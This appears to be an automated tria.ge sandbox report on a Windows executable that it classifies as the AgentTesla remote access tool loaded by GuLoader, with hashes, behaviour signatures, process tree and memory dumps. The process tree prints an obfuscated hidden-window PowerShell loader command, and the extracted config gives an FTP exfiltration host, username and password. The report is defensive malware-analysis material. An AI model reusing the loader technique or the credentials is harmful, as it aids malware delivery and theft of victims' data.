Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    141s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/12/2023, 07:31

General

  • Target

    Zamówienie.ZD33166.exe

  • Size

    698KB

  • MD5

    16d009c42496db59b33e6723f913d0c9

  • SHA1

    bed0f6cf09e6bc16190e694d493f891732816e8d

  • SHA256

    d6d400c0847a1893dea669a1c8cfee475cafd9439bc50c694eaccbc04211a0e7

  • SHA512

    02853827c4d99c441c1daf2d22d0da23f42115e7da66396dc9794017322502aee37d2573acc9bf0c3ec300db6697b49ffd3568d1a8544c39973c613daa7f64e3

  • SSDEEP

    12288:UwFGHEN1Sn2VNDyu0AP/0wGc/fMz3rzNI3ylgimtdYM3O0V7bby:U5HEN16kh01w3sZlgZtub0V7q

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.omamontaggi.it
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    pass@A12345@

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Zamówienie.ZD33166.exe
    "C:\Users\Admin\AppData\Local\Temp\Zamówienie.ZD33166.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1448
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Tiljublingens=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Balletdanserindernes\Exudatory\Falskspillerens.Ill';$Konferenserne=$Tiljublingens.SubString(48125,3);.$Konferenserne($Tiljublingens)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2448
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        3⤵
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1088
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1088 -s 2312
          4⤵
          • Program crash
          PID:2612
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1088 -ip 1088
    1⤵
      PID:2600

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

      Filesize

      32B

      MD5

      a8ca1db6ae34f5e5c152094f44f92476

      SHA1

      9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

      SHA256

      1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

      SHA512

      e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_up21cefx.3ue.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Balletdanserindernes\Exudatory\Falskspillerens.Ill

      Filesize

      47KB

      MD5

      fa2b04b706a4a1a50a3866e1fffb34f7

      SHA1

      0bf99926ab1aff752fd2325d7dadcf68440cda83

      SHA256

      d16797d1615df0383dab78a1e90f594439ae34c0f0cc9083e5883f42585718c5

      SHA512

      58097ca7d6c8145504b41807f2e0aa4b41aa4d5e58943d47455c7e60a5bc4288756503d5a93e3c2c362c5c5aa0c782af3cf30a6a10e206d498eed7e7ae993263

    • C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Balletdanserindernes\Exudatory\Wreathless.You

      Filesize

      301KB

      MD5

      a7d050056af386ff8097a7effd1d9f6f

      SHA1

      008fafc028955c2bdab6508168135e42b1c2d437

      SHA256

      5270d655c8baee63673cce7a5d4c4bd8130d37dcc5a0688d5589913b96cc6d95

      SHA512

      7413802fcf4e35e690adef8718dfad2fc73848a3f5e9ea7bc9636795dce7cba8bf28022d28e9323041e2210a2ab413f48d1a990f2bb7b40bf42602b28788870d

    • memory/1088-211-0x0000000000D00000-0x00000000027C2000-memory.dmp

      Filesize

      26.8MB

    • memory/1088-214-0x0000000073610000-0x0000000073DC0000-memory.dmp

      Filesize

      7.7MB

    • memory/1088-212-0x000000006E410000-0x000000006E450000-memory.dmp

      Filesize

      256KB

    • memory/1088-210-0x000000006E410000-0x000000006F664000-memory.dmp

      Filesize

      18.3MB

    • memory/1088-215-0x000000001E7B0000-0x000000001E7C0000-memory.dmp

      Filesize

      64KB

    • memory/1088-206-0x0000000077271000-0x0000000077391000-memory.dmp

      Filesize

      1.1MB

    • memory/1088-205-0x00000000772F8000-0x00000000772F9000-memory.dmp

      Filesize

      4KB

    • memory/1088-203-0x0000000000D00000-0x00000000027C2000-memory.dmp

      Filesize

      26.8MB

    • memory/1088-217-0x0000000000D00000-0x00000000027C2000-memory.dmp

      Filesize

      26.8MB

    • memory/1088-220-0x0000000073610000-0x0000000073DC0000-memory.dmp

      Filesize

      7.7MB

    • memory/2448-193-0x0000000008360000-0x00000000089DA000-memory.dmp

      Filesize

      6.5MB

    • memory/2448-204-0x00000000089E0000-0x000000000A4A2000-memory.dmp

      Filesize

      26.8MB

    • memory/2448-191-0x0000000007730000-0x0000000007CD4000-memory.dmp

      Filesize

      5.6MB

    • memory/2448-189-0x0000000006650000-0x000000000666A000-memory.dmp

      Filesize

      104KB

    • memory/2448-188-0x00000000070E0000-0x0000000007176000-memory.dmp

      Filesize

      600KB

    • memory/2448-187-0x0000000004DF0000-0x0000000004E00000-memory.dmp

      Filesize

      64KB

    • memory/2448-196-0x0000000007600000-0x0000000007604000-memory.dmp

      Filesize

      16KB

    • memory/2448-198-0x00000000089E0000-0x000000000A4A2000-memory.dmp

      Filesize

      26.8MB

    • memory/2448-199-0x0000000073610000-0x0000000073DC0000-memory.dmp

      Filesize

      7.7MB

    • memory/2448-200-0x00000000089E0000-0x000000000A4A2000-memory.dmp

      Filesize

      26.8MB

    • memory/2448-201-0x0000000004DF0000-0x0000000004E00000-memory.dmp

      Filesize

      64KB

    • memory/2448-202-0x0000000077271000-0x0000000077391000-memory.dmp

      Filesize

      1.1MB

    • memory/2448-186-0x0000000006150000-0x000000000619C000-memory.dmp

      Filesize

      304KB

    • memory/2448-190-0x00000000066A0000-0x00000000066C2000-memory.dmp

      Filesize

      136KB

    • memory/2448-185-0x0000000006130000-0x000000000614E000-memory.dmp

      Filesize

      120KB

    • memory/2448-184-0x0000000005B40000-0x0000000005E94000-memory.dmp

      Filesize

      3.3MB

    • memory/2448-174-0x0000000005AD0000-0x0000000005B36000-memory.dmp

      Filesize

      408KB

    • memory/2448-173-0x0000000005A60000-0x0000000005AC6000-memory.dmp

      Filesize

      408KB

    • memory/2448-213-0x0000000073610000-0x0000000073DC0000-memory.dmp

      Filesize

      7.7MB

    • memory/2448-172-0x0000000005320000-0x0000000005342000-memory.dmp

      Filesize

      136KB

    • memory/2448-171-0x0000000005430000-0x0000000005A58000-memory.dmp

      Filesize

      6.2MB

    • memory/2448-170-0x0000000002AF0000-0x0000000002B26000-memory.dmp

      Filesize

      216KB

    • memory/2448-216-0x00000000089E0000-0x000000000A4A2000-memory.dmp

      Filesize

      26.8MB

    • memory/2448-169-0x0000000004DF0000-0x0000000004E00000-memory.dmp

      Filesize

      64KB

    • memory/2448-168-0x0000000073610000-0x0000000073DC0000-memory.dmp

      Filesize

      7.7MB